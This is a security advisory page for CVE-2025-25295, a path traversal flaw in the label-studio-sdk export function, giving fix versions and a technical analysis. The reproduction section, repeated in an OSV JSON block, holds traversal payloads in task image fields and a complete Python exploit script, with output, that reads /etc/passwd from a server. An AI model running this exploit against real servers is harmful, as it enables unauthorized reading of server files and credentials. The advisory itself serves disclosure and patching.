CVE-2025-25295: Label studio sdk Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-rgv9-w7jp-m23g
CWE-26 CWE-22
Published
Advisory Summary

CVE-2025-25295 is a HIGH path traversal vulnerability (CWE-26: Path Traversal: '/dir/../filename') affecting Label studio sdk libraries in the PyPI ecosystem. The issue involves label studio has a path traversal vulnerability via image field. Remediation is available by upgrading affected packages to version 1.0.10.

CVE-2025-25295 at a Glance

CVE Identifier CVE-2025-25295
GHSA Identifier GHSA-rgv9-w7jp-m23g
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-26: Path Traversal: '/dir/../filename'
Affected Product Label studio sdk
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2025-25295

To remediate this vulnerability, upgrade all affected Label studio sdk dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

label-studio-sdk fixed: 1.0.10
pip install label-studio-sdk>=1.0.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show label-studio-sdk

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-25295, inspect your installed packages using pip:

pip show label-studio-sdk

Analyze the terminal output to locate any version of Label studio sdk in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.10), your application is affected.

Note: The pip show label-studio-sdk command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-26: Path Traversal: '/dir/../filename', where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/dir/../filename" sequences that can resolve to a location that is outside of that directory. In Label studio sdk, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it. The flaw exists in the VOC, COCO and YOLO export functionalites. These functions invoke a `download` function on the `label-studio-sdk` python package, which fails to validate file paths when processing image references during task exports: ```python def download( url, output_dir, filename=None, project_dir=None, return_relative_path=False, upload_dir=None, download_resources=True, ): is_local_file = url.startswith("/data/") and "?d=" in url is_uploaded_file = url.startswith("/data/upload") if is_uploaded_file: upload_dir = _get_upload_dir(project_dir, upload_dir) filename = urllib.parse.unquote(url.replace("/data/upload/", "")) filepath = os.path.join(upload_dir, filename) logger.debug( f"Copy {filepath} to {output_dir}".format( filepath=filepath, output_dir=output_dir ) ) if download_resources: shutil.copy(filepath, output_dir) if return_relative_path: return os.path.join( os.path.basename(output_dir), os.path.basename(filename) ) return filepath if is_local_file: filename, dir_path = url.split("/data/", 1)[-1].split("?d=") dir_path = str(urllib.parse.unquote(dir_path)) filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path) if not os.path.exists(filepath): raise FileNotFoundError(filepath) if download_resources: shutil.copy(filepath, output_dir) return filepath ``` By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats. Note that there are two different possible code paths leading to this result, one for the `is_uploaded_file` and another one for the `is_local_file`. ## Steps to Reproduce 1. Login to Label Studio 2. Create project with image labeling configuration 3. If the `data/media/upload` directory doesn't exists yet, upload an image to force the server to create it 4. Create task with path traversal in image field 4.1. To trigger the `is_uploaded_file` code path: ```json { "data": { "text": "test", "image": "/data/upload/../../../../../etc/passwd" } } ``` 4.2. To trigger the `is_local_file` code path: ```json { "data": { "text": "test", "image": "/data/local-files/?d=../../../etc/passwd" } } ``` 6. Export project using VOC, YOLO or COCO formats. The server will return a Zip file in any of the three cases, for example: ``` GET /api/projects/1/export?exportType=VOC&download_all_tasks=true&download_resources=true ``` 7. Download the generated Zip file. The server's /etc/passwd file will be at `images/passwd` on the Zip file. Alternatively, use the following exploit code, updating the `BASE_URL`, `USERNAME` and `PASSWORD` variables. Please note that the code will attempt to create a new user, but if the user exists and the credentials are valid, it will still work. Modify `METHOD` and `EXPORT_TYPE` to test the different code paths and export formats: ```python import requests from bs4 import BeautifulSoup import io import zipfile BASE_URL = "http://xbow-app-1:8000" USERNAME = "test@test.com" PASSWORD = "Test123!@#" METHOD = "is_uploaded_file" # Valid values: "is_uploaded_file" or "is_local_file" EXPORT_TYPE = "VOC" # Valid values: "VOC", "COCO" or "YOLO" print("Signing up...") url = "%s/user/signup/" % BASE_URL session = requests.Session() # First get the CSRF token response = session.get(url) soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value'] print(f"Got CSRF token: {csrf_token}") # Prepare registration data data = { 'csrfmiddlewaretoken': csrf_token, 'email': USERNAME, 'password': PASSWORD, 'allow_newsletters': 'false', 'allow_newsletters_visual': 'false' } headers = { 'Referer': url, 'Content-Type': 'application/x-www-form-urlencoded', } # Submit the registration request response = session.post(url, data=data, headers=headers) print(f"User registration response status code: {response.status_code}\n") # Login print("Logging in...") url = "%s/user/login" % BASE_URL # Attempt login with our credentials login_data = { 'csrfmiddlewaretoken': csrf_token, 'email': USERNAME, 'password': PASSWORD, } headers = { 'Referer': url, 'Content-Type': 'application/x-www-form-urlencoded', } response = session.post(url, data=login_data, headers=headers) print(f"Login response status code: {response.status_code}") # Check if we got any tokens in the response print("\nCookies after login:") for cookie in session.cookies: print(f"{cookie.name}: {cookie.value}") # We will use these headers moving forward headers = { 'Content-Type': 'application/json', 'X-CSRFToken': session.cookies['csrftoken'] } # Creat a project to then create a task associated to it print("\nCreating project...") # Try to create a project with a file upload configuration project_data = { "title": "File Upload Test", "description": "Testing file upload functionality", "label_config": """ <View> <Image name="image" value="$image"/> <Text name="text" value="$text"/> <Choices name="choice" toName="image"> <Choice value="yes"/> <Choice value="no"/> </Choices> </View> """ } response = session.post("%s/api/projects/" % BASE_URL, json=project_data, headers=headers) if response.status_code != 201: print("Problem creating project, aborting") exit(0) project_id = response.json()['id'] print(f"Project ID: {project_id}\n") # Create task using a filename to later abuse a path traversal vulnerability during file export print(f"Creating task with method {METHOD} (defaults to is_local_file)...") task_data = {} if (METHOD == "is_uploaded_file"): task_data["data"] = { "text": "test", "image": "/data/upload/../../../../../etc/passwd" # Trigger for is_uploaded_file } else: task_data["data"] = { "text": "test", "image": "/data/local-files/?d=../../../etc/passwd" # Trigger for is_local_file } response = session.post(f"{BASE_URL}/api/projects/{project_id}/tasks", json=task_data, headers=headers) if response.status_code != 201: print("Problem creating task, aborting") exit(0) task_id = response.json()['id'] print(f"Task created successfully, task id: {task_id}\n") # Issue a dummy upload request to force the creation of the ~/data/images/upload folder response = session.post(f"{BASE_URL}/api/projects/{project_id}/import?commit_to_project=false", files={"bar.png":"data"}) # Request the server to generate a zip with all of the project information and files (works for YOLO, COCO or VOC) response = session.get(f"{BASE_URL}/api/projects/{project_id}/export?exportType={EXPORT_TYPE}&download_all_tasks=true&download_resources=true") if (response.status_code != 200): print("Couldn't fetch export file") exit(0) file_like_object = io.BytesIO(response.content) zipfile_ob = zipfile.ZipFile(file_like_object) print("Dumping /etc/passwd file contents:") print(zipfile_ob.read("images/passwd").decode("utf-8")) ``` Output: ``` $ python3 studio-min.py Signing up... Got CSRF token: CQXYq1qbQ5jMG2FjQfzodC3i6weiIMq9T6lqhBQLT94sbcLKOg0ZeZxep7hPKLM6 User registration response status code: 200 Logging in... Login response status code: 200 Cookies after login: csrftoken: PsEKLHstcGIXDFCP3OGQGCwKUFOdlN33 sessionid: .eJxVj8tyhSAQRP-FtVrIQ8Dl3ecbqAEGNRqwRKvyqPx7JHUXyXKme7rnfJFrCWQkTDHlpYit1jq2AiVrgQpoqZYATvSMu540JB8TpOUTziUnu69k7BuyQTntlqcl3aPiSklquOoUZ7pnoiEWrnO2V8HD_lbVnD87B37FVIXwCmnKnc_pPBbXVUv3VEv3kgNuj6f3X8AMZb6vTaQQuaaoghCOBqFMuJ8egjdGGu4oiMCDdkpHGEQMWhoXNUM59D5Q5-_QFXG3b1hhJgy2AkXYCt51BUupzPi-L8cHGen3D57HZCg:1tbQOv:nomwczhhTvAaXMoyRrO30lWR5UkGi7AqiUHKyshQJ30 Creating project... Project ID: 10 Creating task with method is_uploaded_file (defaults to is_local_file)... Task created successfully, task id: 10 Dumping /etc/passwd file contents: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin nginx:x:999:999:nginx user:/nonexistent:/usr/sbin/nologin ``` ## Mitigations - Validate and sanitize file paths - Add an allowlist of directories and file types - Implement file access controls - Use randomized file names and secure file storage abstraction ## Impact Authentication-required vulnerability allowing arbitrary file reads from the server filesystem. Potential exposure of sensitive information like configuration files, credentials, and confidential data.

CVE-2025-25295 Affected Label studio sdk Versions

1 component(s)
Fixed Versions:
1.0.10
Product / Package Ecosystem Affected Versions Fixed Version
label-studio-sdk
PyPI
< 1.0.10
1.0.10

References

Frequently Asked Questions

What is CVE-2025-25295?
CVE-2025-25295 is a security vulnerability in Label studio sdk involving Label Studio has a Path Traversal Vulnerability via image Field under CWE-26: Path Traversal: '/dir/../filename'.
Which Label studio sdk versions are affected?
Affected versions include releases prior to 1.0.10 across affected packages: label-studio-sdk.
What version fixes CVE-2025-25295?
Upgrading to 1.0.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is label-studio-sdk affected?
Yes, label-studio-sdk is affected in releases prior to 1.0.10. Upgrade your dependency to 1.0.10 or later.
What CWE is associated with CVE-2025-25295?
CVE-2025-25295 is classified under CWE-26: Path Traversal: '/dir/../filename' (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/dir/../filename" sequences that can resolve to a location that is outside of that directory.).
How can I check PyPI dependencies for CVE-2025-25295?
Run the dependency tree command: 'pip show label-studio-sdk'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rgv9-w7jp-m23g",
  "modified" : "2025-02-14T18:40:06Z",
  "published" : "2025-02-14T15:16:40Z",
  "aliases" : [ "CVE-2025-25295" ],
  "summary" : "Label Studio has a Path Traversal Vulnerability via image Field",
  "details" : "## Description\nA path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it. The flaw exists in the VOC, COCO and YOLO export functionalites. These functions invoke a `download` function on the `label-studio-sdk` python package, which fails to validate file paths when processing image references during task exports:\n\n```python\ndef download(\n    url,\n    output_dir,\n    filename=None,\n    project_dir=None,\n    return_relative_path=False,\n    upload_dir=None,\n    download_resources=True,\n):\n    is_local_file = url.startswith(\"/data/\") and \"?d=\" in url\n    is_uploaded_file = url.startswith(\"/data/upload\")\n\n    if is_uploaded_file:\n        upload_dir = _get_upload_dir(project_dir, upload_dir)\n        filename = urllib.parse.unquote(url.replace(\"/data/upload/\", \"\"))\n        filepath = os.path.join(upload_dir, filename)\n        logger.debug(\n            f\"Copy {filepath} to {output_dir}\".format(\n                filepath=filepath, output_dir=output_dir\n            )\n        )\n        if download_resources:\n            shutil.copy(filepath, output_dir)\n        if return_relative_path:\n            return os.path.join(\n                os.path.basename(output_dir), os.path.basename(filename)\n            )\n        return filepath\n\n    if is_local_file:\n        filename, dir_path = url.split(\"/data/\", 1)[-1].split(\"?d=\")\n        dir_path = str(urllib.parse.unquote(dir_path))\n        filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)\n        if not os.path.exists(filepath):\n            raise FileNotFoundError(filepath)\n        if download_resources:\n            shutil.copy(filepath, output_dir)\n        return filepath\n```\n\nBy creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats.\n\nNote that there are two different possible code paths leading to this result, one for the `is_uploaded_file` and another one for the `is_local_file`.\n\n## Steps to Reproduce\n1. Login to Label Studio\n2. Create project with image labeling configuration\n3. If the `data/media/upload` directory doesn't exists yet, upload an image to force the server to create it\n4. Create task with path traversal in image field\n   \n    4.1. To trigger the `is_uploaded_file` code path:\n   ```json\n   {\n     \"data\": {\n       \"text\": \"test\",\n       \"image\": \"/data/upload/../../../../../etc/passwd\"\n     }\n   }\n   ```\n    4.2. To trigger the `is_local_file` code path:\n   ```json\n   {\n     \"data\": {\n       \"text\": \"test\",\n       \"image\": \"/data/local-files/?d=../../../etc/passwd\"\n     }\n   }\n   ```\n6. Export project using VOC, YOLO or COCO formats. The server will return a Zip file in any of the three cases, for example:\n   ```\n   GET /api/projects/1/export?exportType=VOC&download_all_tasks=true&download_resources=true\n   ```\n7. Download the generated Zip file. The server's /etc/passwd file will be at `images/passwd` on the Zip file.\n\n\nAlternatively, use the following exploit code, updating the `BASE_URL`, `USERNAME` and `PASSWORD` variables. Please note that the code will attempt to create a new user, but if the user exists and the credentials are valid, it will still work. Modify `METHOD` and `EXPORT_TYPE` to test the different code paths and export formats:\n\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nimport io\nimport zipfile\n\n\nBASE_URL = \"http://xbow-app-1:8000\"\nUSERNAME = \"test@test.com\"\nPASSWORD = \"Test123!@#\"\nMETHOD = \"is_uploaded_file\" # Valid values: \"is_uploaded_file\" or \"is_local_file\"\nEXPORT_TYPE = \"VOC\"         # Valid values: \"VOC\", \"COCO\" or \"YOLO\"\n\nprint(\"Signing up...\")\nurl = \"%s/user/signup/\" % BASE_URL\nsession = requests.Session()\n\n# First get the CSRF token\nresponse = session.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\ncsrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']\nprint(f\"Got CSRF token: {csrf_token}\")\n\n# Prepare registration data\ndata = {\n    'csrfmiddlewaretoken': csrf_token,\n    'email': USERNAME,\n    'password': PASSWORD,\n    'allow_newsletters': 'false',\n    'allow_newsletters_visual': 'false'\n}\n\nheaders = {\n    'Referer': url,\n    'Content-Type': 'application/x-www-form-urlencoded',\n}\n\n# Submit the registration request\nresponse = session.post(url, data=data, headers=headers)\nprint(f\"User registration response status code: {response.status_code}\\n\")\n\n# Login\nprint(\"Logging in...\")\nurl = \"%s/user/login\" % BASE_URL\n\n# Attempt login with our credentials\nlogin_data = {\n    'csrfmiddlewaretoken': csrf_token,\n    'email': USERNAME,\n    'password': PASSWORD,\n}\n\nheaders = {\n    'Referer': url,\n    'Content-Type': 'application/x-www-form-urlencoded',\n}\n\nresponse = session.post(url, data=login_data, headers=headers)\n\nprint(f\"Login response status code: {response.status_code}\")\n\n# Check if we got any tokens in the response\nprint(\"\\nCookies after login:\")\nfor cookie in session.cookies:\n    print(f\"{cookie.name}: {cookie.value}\")\n\n\n# We will use these headers moving forward\nheaders = {\n    'Content-Type': 'application/json',\n    'X-CSRFToken': session.cookies['csrftoken']\n}\n\n# Creat a project to then create a task associated to it\nprint(\"\\nCreating project...\")\n# Try to create a project with a file upload configuration\nproject_data = {\n    \"title\": \"File Upload Test\",\n    \"description\": \"Testing file upload functionality\",\n    \"label_config\": \"\"\"\n    <View>\n      <Image name=\"image\" value=\"$image\"/>\n      <Text name=\"text\" value=\"$text\"/>\n      <Choices name=\"choice\" toName=\"image\">\n        <Choice value=\"yes\"/>\n        <Choice value=\"no\"/>\n      </Choices>\n    </View>\n    \"\"\"\n}\nresponse = session.post(\"%s/api/projects/\" % BASE_URL, json=project_data, headers=headers)\nif response.status_code != 201:\n    print(\"Problem creating project, aborting\")\n    exit(0)    \nproject_id = response.json()['id']\nprint(f\"Project ID: {project_id}\\n\")\n\n# Create task using a filename to later abuse a path traversal vulnerability during file export\nprint(f\"Creating task with method {METHOD} (defaults to is_local_file)...\")\ntask_data = {}\nif (METHOD == \"is_uploaded_file\"):\n    task_data[\"data\"] = {\n            \"text\": \"test\",\n            \"image\": \"/data/upload/../../../../../etc/passwd\"    # Trigger for is_uploaded_file\n    }\nelse:\n    task_data[\"data\"] = {\n            \"text\": \"test\",\n            \"image\": \"/data/local-files/?d=../../../etc/passwd\" # Trigger for is_local_file\n    }\nresponse = session.post(f\"{BASE_URL}/api/projects/{project_id}/tasks\", json=task_data, headers=headers)\nif response.status_code != 201:\n    print(\"Problem creating task, aborting\")\n    exit(0)    \ntask_id = response.json()['id']\nprint(f\"Task created successfully, task id: {task_id}\\n\")\n\n# Issue a dummy upload request to force the creation of the ~/data/images/upload folder\nresponse = session.post(f\"{BASE_URL}/api/projects/{project_id}/import?commit_to_project=false\", files={\"bar.png\":\"data\"})\n\n# Request the server to generate a zip with all of the project information and files (works for YOLO, COCO or VOC)\nresponse = session.get(f\"{BASE_URL}/api/projects/{project_id}/export?exportType={EXPORT_TYPE}&download_all_tasks=true&download_resources=true\")\nif (response.status_code != 200):\n    print(\"Couldn't fetch export file\")\n    exit(0)\n\nfile_like_object = io.BytesIO(response.content)\nzipfile_ob = zipfile.ZipFile(file_like_object)\nprint(\"Dumping /etc/passwd file contents:\")\nprint(zipfile_ob.read(\"images/passwd\").decode(\"utf-8\"))\n\n```\n\nOutput:\n\n```\n$ python3 studio-min.py\nSigning up...\nGot CSRF token: CQXYq1qbQ5jMG2FjQfzodC3i6weiIMq9T6lqhBQLT94sbcLKOg0ZeZxep7hPKLM6\nUser registration response status code: 200\n\nLogging in...\nLogin response status code: 200\n\nCookies after login:\ncsrftoken: PsEKLHstcGIXDFCP3OGQGCwKUFOdlN33\nsessionid: .eJxVj8tyhSAQRP-FtVrIQ8Dl3ecbqAEGNRqwRKvyqPx7JHUXyXKme7rnfJFrCWQkTDHlpYit1jq2AiVrgQpoqZYATvSMu540JB8TpOUTziUnu69k7BuyQTntlqcl3aPiSklquOoUZ7pnoiEWrnO2V8HD_lbVnD87B37FVIXwCmnKnc_pPBbXVUv3VEv3kgNuj6f3X8AMZb6vTaQQuaaoghCOBqFMuJ8egjdGGu4oiMCDdkpHGEQMWhoXNUM59D5Q5-_QFXG3b1hhJgy2AkXYCt51BUupzPi-L8cHGen3D57HZCg:1tbQOv:nomwczhhTvAaXMoyRrO30lWR5UkGi7AqiUHKyshQJ30\n\nCreating project...\nProject ID: 10\n\nCreating task with method is_uploaded_file (defaults to is_local_file)...\nTask created successfully, task id: 10\n\nDumping /etc/passwd file contents:\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nnginx:x:999:999:nginx user:/nonexistent:/usr/sbin/nologin\n```\n\n## Mitigations\n- Validate and sanitize file paths\n- Add an allowlist of directories and file types\n- Implement file access controls\n- Use randomized file names and secure file storage abstraction\n\n## Impact\nAuthentication-required vulnerability allowing arbitrary file reads from the server filesystem. Potential exposure of sensitive information like configuration files, credentials, and confidential data.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "label-studio-sdk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-rgv9-w7jp-m23g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-25295"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio-sdk/commit/4a9715c6b0b619371e89c09ea8d1c86ce5c880df"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/HumanSignal/label-studio-sdk"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-26" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-02-14T15:16:40Z",
    "nvd_published_at" : "2025-02-14T17:15:20Z"
  }
}